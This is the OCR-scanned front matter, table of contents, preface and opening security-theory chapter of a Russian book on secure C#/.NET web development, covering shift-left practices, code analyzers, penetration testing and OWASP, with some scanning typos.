/
Автор: Фленов М.Е.
Теги: языки программирования компьютерные технологии программирование хакинг язык программирования c#
ISBN: 978-5-9775-2021-8
Год: 2025
Текст
Михаил Фленов
C#
ГЛАЗАМИ
ХАКЕРА
2-е издание
Санкт-Петербург «БХВ-Петербург» 2025
УДК 004.438 C#
ББК 32.973.26-018.1
Ф71
Фленов М. Е.
Ф71 C# глазами хакера. — 2-е изд., перераб. и доп. — СПб.: БХВ-Петербург, 2025. — 288 с.: ил. — (Глазами хакера)
ISBN 978-5-9775-2021-8
Подробно рассмотрены все аспекты безопасности от теории до реальных реализаций .NET-приложений на языке С#. Рассказано, как обеспечивать безопасную регистрацию, авторизацию и поддержку сессий пользователей. Перечислены уязвимости, которые могут быть присущи веб-сайтам и Web API, описано, как хакеры могут эксплуатировать уязвимости и как можно обеспечить безопасность приложений. Даны основы оптимизации кода для обработки максимального количества пользователей с целью экономии ресурсов серверов и денег на хостинг. Рассмотрены сетевые функции: проверка соединения, отслеживание запроса, доступ к микросервисам, работа с сокетами и др. Приведены реальные примеры атак хакеров и способы защиты от них. Во втором издании добавлены новые примеры безопасности, рассмотрены вопросы реализации технологий OAuth2 и Single Sign On.
Для веб-программистов, администраторов и специалистов по безопасности
УДК 004.438 C# ББК 32.973.26-018.1
Группа подготовки издания:
Руководитель проекта Зав. редакцией
Редактор
Компьютерная верстка
Дизайн серии
Евгений Рыбаков Людмила Гауль Григорий Добин Ольги Сергиенко
Оформление обложки
Марины Дамбиевой Зои Канторович
Подписано в печать 05.12.24.
Формат 70хЮ01/1в. Печать офсетная. Усл. печ. л. 23,22.
Тираж 1000 экз. Заказ № 11646.
"БХВ-Петербург'', 191036, Санкт-Петербург, Гончарная ул., 20.
Отпечатано с готового оригинал-макета ООО "Принт-М", 142300, М.О., г. Чехов, ул. Полиграфистов, д. 1
ISBN 978-5-9775-2021-8
© ООО "БХВ", 2025
© Оформление. ООО "БХВ-Петербург", 2025
Оглавление
Предисловие 7
Об авторе 7
О книге 8
Благодарности 8
Глава 1. Теория безопасности 10
1.1. Комплексная защита 11
1.2. Сдвиг влево 14
1.2.1. Обучение 15
1.2.2. Сбор требований 16
1.2.3. Безопасность на этапе разработки 16
1.2.4. Внешние компоненты 17
1.2.5. Статические анализаторы кода 17
1.2.6. Динамический анализатор кода 18
1.2.7. Испытание на проникновение 18
1.2.8. Отчеты 18
1.3. Проект О WASP 19
1.4. Отказ в обслуживании 20
1.5. Управление кодом 22
1.6. Стабильность кода: нулевые исключения 24
1.7. Исключительные ситуации 26
1.8. Журналы ошибок и аудит 27
1.9. Ошибки нужно исправлять 29
1.10. Отгружаем легко и часто 35
1.10.1. Обновление базы данных 37
1.10.2. Копирование файлов 38
1.10.3. Распределенное окружение 39
1.11. Шифрование трафика 40
1.12. POST или GET? 42
1.13. Ограничение времени выполнения 45
1.14. Кто проверяет данные? 46
Глава 2. Аутентификация и авторизация 47
2.1. Шаблон приложения 47
2.2. Регистрация пользователей 50
4
Оглавление
2.3. Форма регистрации 51
2.3.1. Корректные данные регистрации 53
2.3.2. Email с плюсом и точкой 57
2.4. Хранение паролей 58
2.4.1. Хеширование 59
2.4.2. МО5-хеширование 60
2.4.3. Безопасное хеширование 64
2.4.4. И еще немного о безопасности 64
2.5. Создание посетителей 65
2.6. Captcha л 66
2.6.1. Настраиваем Google reCAPTCHA 67
2.6.2. Пример использования геСАРТСНА 69
2.6.3. Отменяем капчу 72
2.7. Аутентификация 73
2.7.1. Базовая аутентификация 73
2.7.2. Журналирование и защита от перебора 75
2.7.3. Защищаемся от перебора 76
2.8. Запомни меня 79
2.8.1. Зашифрованный якорь 80
2.8.2. Опасность HttpOnfy 83
2.8.3. Уникальные токены 84
2.9. Автозаполнение 87
2.10. Авторизация 87
2.11. Железобетонная проверка 92
2.12. Протокол OAuth 93
2.12.1. Конфигурирование приложения «Яндекс» OAuth 95
2.12.2. Создаем клиента 99
2.12.3. Что дальше? 103
2.13. Делим авторизацию 103
2.14. Защита сессии 104
2.15. Многоуровневая авторизация 105
2.16. Microsoft Identity 107
Глава 3. Безопасность .NET-приложеннн••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 111
3.1. Инъекция SQL: основы 111
3.1.1. SQL-уязвимость в ADO.NET 112
3.1.2. Защита от SQL-иньекции 115
3.2. Dapper ORM 118
3.3. Entity Framework 122
3.4. Отправка электронной почты 126
3.4.1. Очереди сообщений 127
3.4.2. Работа с очередью 129
3.4.3. Отправляем письма 131
3.5. Подделка параметров 133
3.6. Флуд 140
3.7. XSS: межсайтовый скриптинг 142
3.7.1. Защита от XSS в .NET 143
3.7.2. Примеры эксплуатации XSS 146
3.7.3. Типы XSS 148
Оглавление
5
3.7.4. Хранимая XSS 149
3.7.5. XSS: текст внутри тега 155
3.7.6. Скрипты 157
3.7.7. Атака через промежуточный слой 158
3.7.8. HTML-расширения 159
3.7.9. Вывод из контроллера 160
3.7.10. Эксплуатация XSS-уязвимости 161
3.8. Политика безопасности контента 161
3.8.1. CORS на страже контента 162
3.8.2. Источники загрузки 162
3.8.3. Тестирование политики 165
3.8.4. Разрешенные источники 168
3.9. SQL Injection: доступ к недоступному 170
3.10. CSRF: межсайтовая подделка запроса 172
3.11. Загрузка файлов 177
3.12. Переадресация 179
3.13. Защита от DoS 183
3.14. Кликджекинг 186
Глава 4. О производительности в целом 191
4.1. Основы 191
4.2. Когда нужно оптимизировать? 193
4.3. Оптимизация и рефакторинг 194
4.4. Отображение данных 195
4.5. Асинхронное выполнение запросов 198
4.6. Параллельное выполнение 199
4.7. LINQ 200
4.8. Обновление .NET 202
Глава 5. Производительность в .NET 203
5.1. Типы данных 203
5.1.1. Производительность 203
5.1.2. Отличие структур от классов 205
5.1.3. Ссылки на структуры 210
5.2. Виртуальные методы 212
5.3. Управление памятью 214
5.4. Закрытие соединений с базой данных 217
5.5. Циклы 220
5.6. Строки 221
5.7. Исключительные ситуации 223
5.8. Странный HttpClient 224
5.9. Класс ArrayPool 226
5.10. Параметризованные запросы к БД 228
Глава 6. Сеть —230
6.1. Проверка соединения 230
6.2. Отслеживание запроса 231
6.3. Класс НТТР-клиент 234
6.4. Класс Uri 235
6
Оглавление
6.5. Уровень розетки 237
6.5.1. Сервер 237
6.5.2. Клиент 241
6.6. Доменная система имен 243
Глава 7. Web API 245
7.1. Пример Web API 245
7.2. JWT-токены 246
7.3. Устройство токенов 253
7.4. Авторизация API 256
7.5. XSS и Web API 257
Глава 8. Трюки •••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 260
8.1. Кеширование 260
8.1.1. Кеширование результата 260
8.1.2. Кеширование статичными переменными 264
8.1.3. Кеширование уровня запроса 265
8.1.4. Кеширование в памяти 266
8.1.5. Сервер кеширования 268
8.1.6. Cookie в качестве кеша 269
8.2. Сессии 271
8.2.1. Пишем свою сессию 271
8.2.2. Безопасность сессии 274
8.2.3. Сессия в качестве кеша 275
8.2.4. Уничтожение сессии 277
8.2.5. Выход 277
8.2.6. Кукушка для сессии 278
8.2.7. Преимущества и недостатки 279
8.3. Защита от множественной обработки 280
Заключение 284
Литература 285
Приложение. Описание файлового архива, сопровождающего книгу 286
Предметный указатель 287
Предисловие
C# и платформа .NET появились в 2002 году и за все годы своего существования постоянно развиваются и улучшаются. Первые годы были не самыми успешными, но потом Microsoft сделала большой скачок вперед, и .NET всё чаще выбирают в качестве основной платформы для корпоративных приложений.
Корпоративные приложения — это такая категория, где очень важно заботиться о безопасности и производительности. Одна ошибка может поставить под сомнение репутацию предприятия, которую потом восстановить будет очень сложно и дорого. Проблемы производительности могут стоить лояльности клиентов, которые пожелают уйти к конкуренту, и вернуть их тогда окажется весьма непросто.
Мне довелось поработать над приложением электронной коммерции компании Sony (http://rewards.sony.com), которым пользуются миллионы американцев, а безопасность подобного сайта должна быть на самом высоком уровне. За время работы над сайтами Sony мне удалось получить великолепный опыт, о котором я часто говорю и, наверное, буду говорить еще долгие годы.
В этой книге я решил не только вспомнить об этом опыте, но и поделиться им. Сайты Sony постоянно находились под пристальным вниманием хакеров. Если взглянуть на журналы сайтов, то там каждый день можно было увидеть какие-то попытки взлома, но за восемь лет моей работы над сайтами Sony не было зафиксировано ни единого взлома. Да, мелочи случались, но ничего серьезного так и не произошло. Хакеры, конечно же, иногда пакостили и пытались совершить атаки на отказ от обслуживания, но и тут моим сайтам удавалось справиться с нагрузками.
Начиная работу над вторым изданием книги, я уже имел большие планы расширить информацию про авторизацию, дать больше примеров безопасности и оптимизации, так что даже если сравнить количество страниц в обоих изданиях, то во втором оно увеличилось значительно.
Об авторе
Меня зовут Михаил Фленов, и я увлекаюсь программированием с 1994 года. С 2009 года живу в Канаде недалеко от Торонто, где в течение восьми лет работал
8
Предисловие
над различными проектами для американского офиса компании Sony. Я уже упоминал об одном из крупных проектов, в создании которого принимал самое непосредственное участие: www.sonyrewards.com (сейчас это rewards.sony.com) — сайт электронной коммерции и банк в одном флаконе. Есть в моем портфолио и сайт телепередачи «Wheel Of Fortune» (www.wheeloffdrtune.com) — по образу и подобию которой создано российское «Поле чудес». Эта передача до сих пор очень популярна в США, и трафик ее сайта весьма высок.
Разработаны также мной и несколько сайтов с менее высоким трафиком. Среди них www.besed.ca — сайт о Канаде и www.flenov.info — мой персональный блог.
О книге
Почему книга называется «С# глазами хакера»? Первая моя книга с подобным названием — «Программирование в Delphi глазами ^акера» [1] — была основана на моих же статьях из журнала «]{акер» (примерно так тогда выглядело его название в печатном виде). Слово «Хакер» на обложке первого издания книги было написано как «}{акер» не зря — ведь это были не просто «мои глаза», но и журнала тоже. И это логично, ведь в книге использовался материал моих статей для этого журнала.
Впоследствии название журнала поменяли — теперь в нем отсутствует тот задорный логотип, и называется он просто «Хакер». Но стиль его все тот же — журнала, для которого я писал много лет назад.
Хотя в этой книге я буду рассказывать о том, как хакеры взламывают сайты на .NET, моя основная идея все же — их защита. Я большой фанат безопасности, но чтобы защищаться и писать код, который невозможно взломать, нужно знать, откуда может прийти угроза, и понимать, как хакеры взламывают сайты. Поэтому я буду много говорить о взломе и проблемах безопасности, но основной акцент книги все же будет сделан на способах защиты.
Благодарности
Очень хочется поблагодарить всех тех, кто помогал мне в создании этой книги. Я не расставляю благодарности в порядке их значимости, потому что каждая помощь очень существенна для меня и для моей книги. Поэтому порядок не несет в себе никакого смысла, а выбран так, чтобы постараться никого не забыть.
Хочется поблагодарить издательство «БХВ», с которым у меня сложилось уже весьма долгое и продуктивное сотрудничество. Надеюсь, что это сотрудничество не прервется никогда. Спасибо редакторам и корректорам издательства за то, что они исправляют мои недочеты и помогают сделать книгу лучше и интереснее.
Хочется поблагодарить мою семью, которая терпит исчезновения своего главы за компьютером. Я прекрасно понимаю, как тяжело видеть мужа и отца семейства, который вроде бы дома и в то же время отсутствует. Эго напоминает загадку
Предисловие
9
«Висит груша, нельзя скушать». Я, правда, не груша и нигде не подвешен, но работать приходится много, и очень часто мой рабочий день длится 16 часов.
Хочу поблагодарить тех, кто разрешил тестировать свои серверы и сценарии в целях выявления ошибок, а также позволил просмотреть свои сценарии и настройки безопасности. Сотрудничество оказалось взаимовыгодным.
А единственная благодарность, которую я хотел бы принести раньше всех других и придать ей большую значимость, — это вам, за то что купили книгу. Пользуясь Интернетом, очень многие качают контент нелегально. Но ведь именно продажа книг помогает авторам и издательствам создавать новый интересный и полезный контент.
Спасибо всем моим постоянным читателям, которые также участвуют в создании моих книг. Все мои последние работы основываются на вопросах и предложениях читателей, с которыми я регулярно общаюсь через свой сайт www.flenov.info. Я постараюсь помочь вам по мере возможности и жду любых комментариев по поводу этой книги. Ваши замечания помогут мне сделать свою работу лучше.
ГЛАВА 1
'17
Теория безопасности
Эту историю я уже приводил в других своих книгах, но люблю ее вспоминать, потому что она родом из 90-х годов прошлого века, и тогда связанное с ней высказывание стало первым ярким эпизодом в моей ИТ-карьере. Думаю, что здесь его можно повторить, потому что до этого я рассказывал о нем только в книгах про другие языки программирования.
Так вот, когда я в те годы еще учился в институте, то на одном из стендов в коридоре прочитал очень интересное высказывание: «Любая программа содержит ошибки. Если в вашей программе их нет, то проверьте программу еще раз. Если снова ошибки не найдены, то вы — плохой программист». И это не шутка, а почти реальность. Программисты — люди, а людям свойственно ошибаться. Каждый день появляются новые виды атак, и чтобы поддерживать программы в безопасном состоянии, приходится регулярно следить за методами, которые используют хакеры, и соответствующим образом корректировать свой исходный код.
Чем больше проект, тем больше в нем может быть ошибок. Идеальной может быть, наверно, только программа, которая просто выводит какой-либо текст, — например, «Hello, world».
Если в вашей программе нет ошибок, это может означать, что их нет сегодня. Вы написали программу в соответствии с последними правилами безопасности, но завтра что-то может измениться, и программа станет уязвимой. Например, выйдет новая версия веб-сервера или PHP, в которой одна из функций содержит ошибки, и ваш сайт окажется под угрозой взлома. Уже было много случаев, когда проблемой становились вроде бы безопасные функции.
Утверждение о том, что если ошибки нет, то нужно проверить код еще раз, — верно в полной мере. На мой взгляд, здесь скрыт очень важный смысл — проверять нужно постоянно.
Мы не будем говорить о необходимости выбирать сложные пароли и хранить их в зашифрованном виде. Мне кажется, что простые пароли — это проблема начинающих пользователей. Опытные пользователи, которыми являются администра-
Теория безопасности
11
торы и программисты, давно уже поняли, что пароль god намного проще взломать, чем пароль fEd45k%92-EDh_GdPnS82Ndg.
Я надеюсь, все понимают, что пароли нужно каждый раз выбирать разные и не использовать один и тот же везде. Если один из сайтов взломают, то пострадают все ваши аккаунты.
В этой главе мы рассмотрим теорию безопасности, но остановимся только на основных вопросах, которые необходимы с точки зрения программирования. Я не буду вдаваться в подробности, потому что об этом говорится в другой моей книге: «Web-сервер глазами хакера» [2].
1.1. Комплексная защита
При работе над сайтами нужно думать о безопасности не только определенного участка кода или отдельной его части, а обо всей системе в целом. Безопасность — это права доступа, операционная система, журналирование, мониторинг, обработка ошибок, тестирование и т. д.
Я постараюсь в этой книге на примерах из личного опыта показать все шаги на пути к безопасности, но сначала приведу немного теории этого вопроса и расскажу о безопасности в целом.
На заре появления ИТ и программирования о безопасности мало кто задумывался. Во-первых, никто не подозревал, что это может быть проблемой. Во-вторых, в тот момент проблемы зависания и безопасности никак не влияли на продажи. Реклама и правильное продвижение во времена жесткой конкуренции побеждали всё.
Но ближе к 2000 году все стало меняться, и это ярко наблюдалось на примере гиганта тех времен — корпорации Microsoft, которая после Windows 98 и Windows ME начала перестраивать все процессы своей операционной системы. Windows ХР перевернула отношение к этой самой популярной операционной системе, потому что с ее приходом она перестала быть глючной и дырявой, а стала вполне рабочей ОС, с которой можно было работать годами без переустановки. В журналах, книгах и блогах по программированию начали очень много писать о том, что необходимо строить цикл разработки, в котором качеству должно быть отведено отдельное место.
В 2009 году я приехал в Канаду и тогда поначалу считал, что в этой стране как раз и думают о безопасности и качестве, но какой же был у меня шок, когда я совершенно никаких таких процессов не увидел.
За все время жизни и работы в Канаде мне довелось поработать в нескольких компаниях, и нигде процессами безопасности и качества особо не заморачивались. В крупных компаниях есть специальные отделы, или они нанимают сторонние компании по безопасности, которые проводят аудиты, но чаще всего это автоматическое тестирование, потому что ручное тестирование стоит очень дорого — час работы специалистов, которые этим занимаются, стоит минимум 200 долларов.
12
Гпава 1
Мне кажется, что руководство компаний считает, будто достаточно только нанять программистов, и безопасность уже будет включена в результат автоматически. Хорошее ожидание, которое не всегда совпадает с реальностью. Далеко не все компании готовы нанимать действительно опытных программистов, умеющих не просто писать код, а пишущих код эффективный и безопасный, и платить им соответствующую их уровню зарпплату.
Я понимаю, что теорию, изложенную в этой книге, большинство программистов прочитает и забудет. Но я все же попробую донести до вас свою позицию...
Прежде чем начинать работать над каким-нибудь проектом или создавать какой- либо API, стоит сразу же просмотреть, существуют ли в отношении него те или иные потенциальные проблемы безопасности. Даже если руководство относится к безопасности спустя рукава, это в ваших интересах — продумать всё.
Работая над проектами Sony, я всегда просчитывал все такое заранее. Надо создать API для мобильного приложения? Сначала продумываем код и только потом реализовываем его, потому что если в нем будет найдена уязвимость или проблема, исправить ее позже будет очень дорого. Надо реализовывать сервис или коммуникацию с другими компаниями? Снова продумываем потенциальные атаки злоумышленников на них и ищем места, где могут возникнуть проблемы еще до начала работы над реализацией.
Конечно, продумать заранее абсолютно все аспекты безопасности невозможно, но стараться нужно. Тут все будет зависеть от широты ваших знаний о возможных атаках и уязвимостях. При этом хороший программист и специалист по безопасности должны уметь взламывать сайты и знать, как это делается. Не обязательно взламывать реальные сайты — достаточно делать это на собственных тестовых системах. Нужно просто пробовать самостоятельно осуществлять на них возможные атаки, чтобы увидеть, каков будет результат.
В мире безопасности еще не все открыто, новые векторы по-прежнему еще появляются, хотя и не так часто, как это было раньше.
Когда вы начинаете работать над проектом, то надо сразу обратить внимание на то, откуда могут поступать данные и кто должен ими управлять. Если это блог, то заметки в блоге должны публиковать только администраторы, а значит, нужна панель администратора.
Сразу же продумываем: как должен разграничиваться доступ к панели администратора и каким должен быть пароль — ответы на эти вопросы будут зависеть от того, сколько человек должны будут иметь к этой панели доступ. Если это личный блог и только владелец сайта может иметь доступ к панели администратора, то можно заранее определить один-единственный пароль, который может быть прошит где-то в конфигурационных файлах. Честно говоря, именно так и сделано в моем блоге www.flenov.info. Если же к панели администратора должны получить доступ несколько человек, то следует продумать политику паролей.
Если данные могут поступать от зарегистрированных или анонимных пользователей, то надо убедиться, что они обрабатываются соответствующим образом. Имен-
Теория безопасности
13
но входящие данные от пользователя чаще всего становятся основной проблемой для сайтов. Проблемой могут стать и данные, которые сайты будут отображать пользователям, но на которые он может повлиять: cookies, значения сессий.
Возможно, кто-то скажет сейчас, что я — Капитан Очевидность! Это все, мол, и так понятно. Возможно, лично вы не первый день в ИТ и уже слышали подобные сентенции из других источников, но книга направлена на читателей с разным уровнем знаний, поэтому я все же продолжу — с вашего разрешения — обсуждать базовые вещи. Я не знаю, как сейчас обстоят дела в России, но, как я сказал ранее, в Канаде я не видел хорошо поставленных процессов безопасности. До сих пор многое делается уже постфактум — когда проект готов и нужно его отгружать. Я регулярно вижу, как релизы отменяют в последний момент, потому что отдел безопасности вдруг нашел проблему.
Когда я начинал работать для Sony, то там тоже применялся подход проверки уже после разработки. При этом я сам не сталкивался с результатами таких проверок, а только знал, что где-то они существуют. Возможно, я не сталкивался с ними, потому.что в моем коде ни разу не нашли проблем.
Но даже несмотря на то, что проблем в моих разработках ни разу не было найдено, мы все же старались начинать двигаться в сторону безопасности и думать о ней еще до того, как брались за написание кода. Со временем процессы безопасности становились все более формальными, и ближе к концу моей с Sony совместной работы у нас уже имелись официальные на этот счет решения. Я даже начал сталкиваться со службой безопасности, которой мы отправляли проекты реализаций на утверждение, — они рассматривали мои API, и с ними мы обсуждали все возникающие вопросы.
И хотя у меня ни разу не возникло проблем со службой безопасности Sony, но с такой формализацией процесса реализации мне становилось более спокойно, потому что не только я оценивал вопросы безопасности, но и кто-то другой в компании тоже просматривал архитектуру и решения с этой точки зрения. Ведь даже опытный и знающий специалист может совершить ошибку...
Те отделения Sony, с которыми мне доводилось работать, заботились о безопасности, и я видел, что компания думает о возможных проблемах, а не только работает «по хвостам», когда где-то аукнется. К сожалению, это происходит не везде... Я также работал с двумя консалтинговыми компаниями, которые писали код для других клиентов, и в этих компаниях безопасность отнюдь не стояла на первом месте. Они работали на результат, потому что клиенты платят за функциональность, а не за безопасность.
Во время подготовительного этапа стоит также рассмотреть вопросы хранения и доступа к данным. Если в результате проекта появляется необходимость хранить новые данные, необходимо подумать и об их безопасности.
При инвентаризации точек входа и хранения данных можно смотреть на то, какие есть известные уязвимости и какие существуют лучшие практики для защиты от них. Например, если это комментарии, которые поступают от пользователя и ото-
14
Гпава 1
бражаются потом на сайте, то возможны атаки SQL Injection1 и XSS2. Для защиты от обоих видов атак разработаны хорошие практики, которым достаточно следовать, чтобы получить безопасный сайт.
Самое сложное — это «логические бомбы», или логические ошибки в коде, которые приводят к тому, что хакер может повлиять на логику выполнения работы приложения. Такие проблемы сложнее всего выявить, и от них сложнее всего защититься. Очень часто я в таких случаях слышу мнение: мы не можем предсказать возможные проблемы, поэтому будем действовать уже по факту возникновения сложностей. Да, предсказать сложно, но я бы все же не отказывался от попыток смоделировать будущую проблему заранее.
1.2. Сдвиг влево
Есть мнение, что взлом системы должен быть настолько дорогим, чтобы терялся смысл в атаке.
Если у вас база данных жуков и их перемещения по планете, то не думаю, что такая информация кого-то заинтересует, поэтому для ее защиты хватит просто следования базовым правилам безопасности.
Но если это банк, то тут хакеры будут искать любые возможные «двери», лишь бы проникнуть в систему и получить доступ к деньгам. Все любят деньги.
Я как-то работал над проектом электронного магазина, и мы должны были сдать его задолго до рождества, чтобы компания смогла получить дополнительную при- быль за «черную пятницу», но мы опоздали, и компании пришлось сдвинуть дату запуска проекта на начало декабря. Точной даты не помню, но так как это уже было близко к рождеству, и времени не оставалось, то маркетинг закупил рекламу и начал рассылать новости о предстоящей дате релиза, предлагая пользователям не торопиться с покупками, а подождать запуска проекта, чтобы выгодно купить подарки на рождество.
Когда все уже было готово, мы опубликовали результат на сервере, там началось тестирование на безопасность, и сканеры обнаружили SQL Injection. Это очень серьезная уязвимость, и служба безопасности не разрешила публиковать сайт для общего использования. Пришлось возвращать код на срочную доработку и публиковать сайт с задержкой.
Сразу скажу, что ошибку сделал не я. В тот момент я числился у них консультантом, хотя и помогал с написанием кода, но над проектом работала другая компания.
Поскольку тестирование производилось уже на последнем этапе, то я думаю, что компания потеряла деньги: пользователи пришли в назначенный час по указанному
1 SQL Injection — один из распространенных способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного (вредоносного) SQL-кода.
2 Межсайтовые сценарии (XSS) — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода и взаимодействии этого кода с веб-сервером злоумышленника.
Теория безопасности
15
адресу, а сайта там не было, а это могло повлиять и на репутацию компании в целом.
Уже многократно говорилось о том, что нужно начинать думать о безопасности как можно раньше, и я тоже несколько раз упомянул про необходимость начинать это делать еще на этапе рассмотрения требований.
Этапы разработки проекта у большинства компаний выглядят так: сбор требований —► планирование —► собственно разработка —► тестирование проекта —* тестирование безопасности —► публикация. Проблема в том, что в этой последовательности этап тестирования безопасности идет после этапа тестирования проекта и перед этапом публикации — далеко справа в цепочке процесса разработки. Но специалисты по безопасности утверждают, что тестирование должно начинаться раньше, то есть мы должны сдвинуться в этой цепочке как можно левее.
Я считаю, что о безопасности нужно думать еще до начала сбора требований — на этапе найма программистов. Все должно начинаться с их обучения — чтобы они могли думать о безопасности на протяжении всего процесса разработки.
Давайте пройдем по всем этапам разработки и посмотрим, какую роль должна играть безопасность в этом процессе на каждом из этапов.
1.2.1. Обучение
Безопасность начинается с исполнителей — простых людей. Как мы будем писать и считать — зависит от нашего обучения за школьной партой. Как мы будем писать код — зависит от знаний и опыта, полученных во время обучения программированию.
Взлом может привести к потере репутации, а большие компании дорожат ей, поэтому инвестируют в обучение своих сотрудников. Я считаю, что в безопасности должны быть заинтересованы не только компании, но и сами сотрудники, и они тоже должны задумываться о своем обучении.
В компании, где я работаю, регулярно публикуют онлайн обучающие материалы и призывают программистов их изучить. В прошлом году я всех своих программистов убедил пройти курс по безопасной разработке. В этом году вышел обновленный курс, он обязателен для всех, но каждую неделю я получаю письма, что трое из семнадцати моих программистов так его и не прошли. Что ж, заставлять я их не хочу. Им тоже приходят письма с напоминаниями о необходимости пройти курс, но они явно игнорируют эти напоминания. Видимо, им все равно. Я, конечно, могу надавить, но если человеку неинтересно, то он «пройдет» все без желания, и у него реально не останется знаний. Жаль, это успешные программисты, они хорошо работают, но почему-то безопасность им не интересна...
Обучение — это первое и самое важное в безопасной разработке. Надо не только познакомиться с текущими популярными уязвимостями и научится от них защищаться, но и постоянно освежать информацию. В нашей жизни все меняется достаточно быстро — появляются новые атаки, новые векторы.
16
Гпава 1
Научиться основам безопасности в программировании не так сложно, и с помощью этой книги я постараюсь максимально поделиться с вами информацией, которой должно хватить для каждодневной работы.
1.2.2. Сбор требований
Очень часто при разработке не задумываются о безопасности, потому что считают ее наличие само собой разумеющимся: раз мы поставили на сервер Linux, то мы в безопасности, — ведь это самая безопасная операционная система. Ну, так говорят в СМИ.
Но нет, просто поставить Linux недостаточно. Простой выбор той или иной как бы безопасной программы или библиотеки не означает, что мы стали неуязвимы.
Современные реалии указывают на то, что нужно заботиться о безопасности еще на этапе начала разработки. При этом нужно понимать, что именно мы будем защищать, — какие базы данных, какие серверы станут участвовать в жизни сайта, как будет распределяться к ним доступ.
Одно дело — защищать блог, где все находится в одном месте на разделяемом хостинге, а другое дело — сайт с большой нагрузкой, где работают десятки серверов, а то и сотни.
Я пока не видел компании, где бы думали о безопасности на начальном этапе. В лучшем случае делают аудит перед запуском или просто ограничиваются автоматическим сканированием, которое может не выявить все возможные уязвимости. Но даже если и будут найдены проблемы, это приведет к тому, что придется откладывать релиз и, возможно, терять доход и/или репутацию.
1.2.3. Безопасность на этапе разработки
Самые яркие направления безопасности, о которых приходиться думать программистам: аутентификация, шифрование, журналирование. Где и как будут храниться пароли, как мы будем гарантировать их безопасность, какие могут быть риски? Все это нужно продумывать заранее, и лучше, если найденные решения будут утверждены специалистами.
Из личного опыта я часто вижу, что программисту просто говорят: реализуй страницу авторизации, и он начинает делать это так, как сам захочет. Но если программист воспользуется незащищенными методами, то переписывание его решения может оказаться дорогим удовольствием — придется расшифровать и зашифровать все пароли с более стойким алгоритмом.
Программисты любят сами решать, какие технологии использовать и как писать код, но это — лишняя ответственность. Я считаю, что лучше возложить эту ответственность на специалистов. Пусть они решают, какие алгоритмы использовать, и где хранить пароли, а программист должен сконцентрироваться на реализации.
Теория безопасности
17
1.2.4. Внешние компоненты
Сейчас сложно и даже нет смысла писать всё самому. Мы используем различные компоненты, среди которых могут быть:
□ базы данных;
□ средства доставки кода (DevOps);
□ программные компоненты и библиотеки;
□ программное обеспечение на серверах и даже компьютерах программистов.
Все это нужно поддерживать и обновлять. Чем больше таких инструментов, тем сложнее обеспечивать безопасность.
В больших компаниях программисты не должны иметь право использовать любые инструменты и компоненты. В них должен быть реализован процесс проверки и утверждения инструментов и компонентов, чтобы в работе использовались только утвержденные и проверенные.
И снова — лучше возложить ответственность за выбор библиотек и компонентов на специалистов. По окончании разработки они должны продолжать отслеживать появление в них уязвимостей и оценивать риски и необходимость их обновления, а программист, опять же, должен думать только о коде.
1.2.5. Статические анализаторы кода
В последнее время начинают набирать популярность статические анализаторы кода приложений (SAST, Static Application Security Testing). Они позволяют автоматизировать проверку кода на известные уязвимости.
Проверка кода до его компиляции позволяет найти ошибки, которые потом — уже после компиляции и публикации на серверах — обнаружить будет проблематично.
Я использовал несколько раз статический анализатор PVS-Studio, и он оставил у меня очень положительное о нем впечатление. Он находит ошибки кода, которые потом могут привести к уязвимостям и проблемам производительности. И это не реклама — его разработчики не платили мне, чтобы я здесь что-то о нем сказал.
Когда речь идет о инструментах, я часто рекомендую использовать разные, потому что сложно найти один инструмент, который решит все возможные проблемы. Только вот проблемой может стать их цена. Но если вопрос касается интеграции открытых инструментов, то таких можно задействовать и несколько разных.
Недостаток статических анализаторов — они поддерживают определенные языки. Тот же PVS поддерживает С#, C++ и, кажется, еще Java.
Но есть у него и преимущества — этот сканер находит уязвимости даже в том коде, который может вообще никогда не выполниться или выполняться только в определенные дни или при определенных условиях.
18
Глава 1
Статический анализ можно проводить прямо во время разработки. Как только программист изменил код, его тут же следует протестировать и увидеть результат еще до того, как код попадет в общий репозиторий.
1.2.6. Динамический анализатор кода
Динамический анализ кода приложений (DAST, Dynamic Application Security Testing) производится уже после компиляции кода. Плюс такого решения — ему все равно, какой код сканировать и на каком языке программирования написано приложение. Реализация для такого сканера остается «черным ящиком», так что с помощью одного инструмента можно тестировать приложения на разных языках.
Если сканер найдет уязвимость, то дальше уже задача программиста — найти проблемный код и исправить ошибку.
Но и тут есть проблема: ошибки могут содержаться в таком коде, который сканер пропустит только потому, что этот код требует определенного условия для выполнения. Например, код может выполняться лишь в последний день месяца, а значит, в остальные дни он не работает, и сканер его не увидит.
Динамический анализ — это то, что сейчас часто делают после окончания функционального тестирования и до публикации в Интернете. Он может быть достаточно долгим и отнимать много ресурсов, поэтому допустимо выполнять его уже перед публикацией. При соблюдении всех предыдущих условий и шагов вероятность появления ошибок на этом этапе должна быть достаточно низкой.
1.2.7. Испытание на проникновение
Испытание на проникновение (Penetration Testing) — метод оценки безопасности компьютерных систем или сетей средствами моделирования атаки злоумышленника. Этот процесс включает в себя активный анализ системы на наличие потенциальных уязвимостей, которые могут спровоцировать некорректную работу целевой системы. Анализ ведется с позиции потенциального атакующего и может включать в себя активное использование уязвимостей системы.
Такое тестирование производят профессиональные специалисты, которые эмулируют действия хакеров. Оно может выявить проблемы конфигурации, которые не связаны с написанным кодом, а также уязвимости, не обнаруженные сканерами.
1.2.8. Отчеты
Нет никакой возможности понять, являемся ли мы полностью защищенными. Однозначная оценка тут невозможна. Но все же необходимо понимать, чего удалось добиться.
Помогут в этом отчеты и оценки. Они бывают разные, но из того, что я видел, основная цель их была понять: что именно было сделано для обеспечения безопасности.
Теория безопасности
19
1.3. Проект OWASP
В информационных материалах о безопасности очень часто всплывает аббревиатура OWASP (Open Worldwide Application Security Project) — открытого международного проекта безопасности приложений. На их сайте есть раздел, где можно найти описание самых известных уязвимостей3 — этот список получил популярность, и его называют OWASP Тор Теп.
Последний известный мне рейтинг уязвимостей был . опубликован там в 2021 году, а предыдущий подобный рейтинг выходил еще в 2017-м.
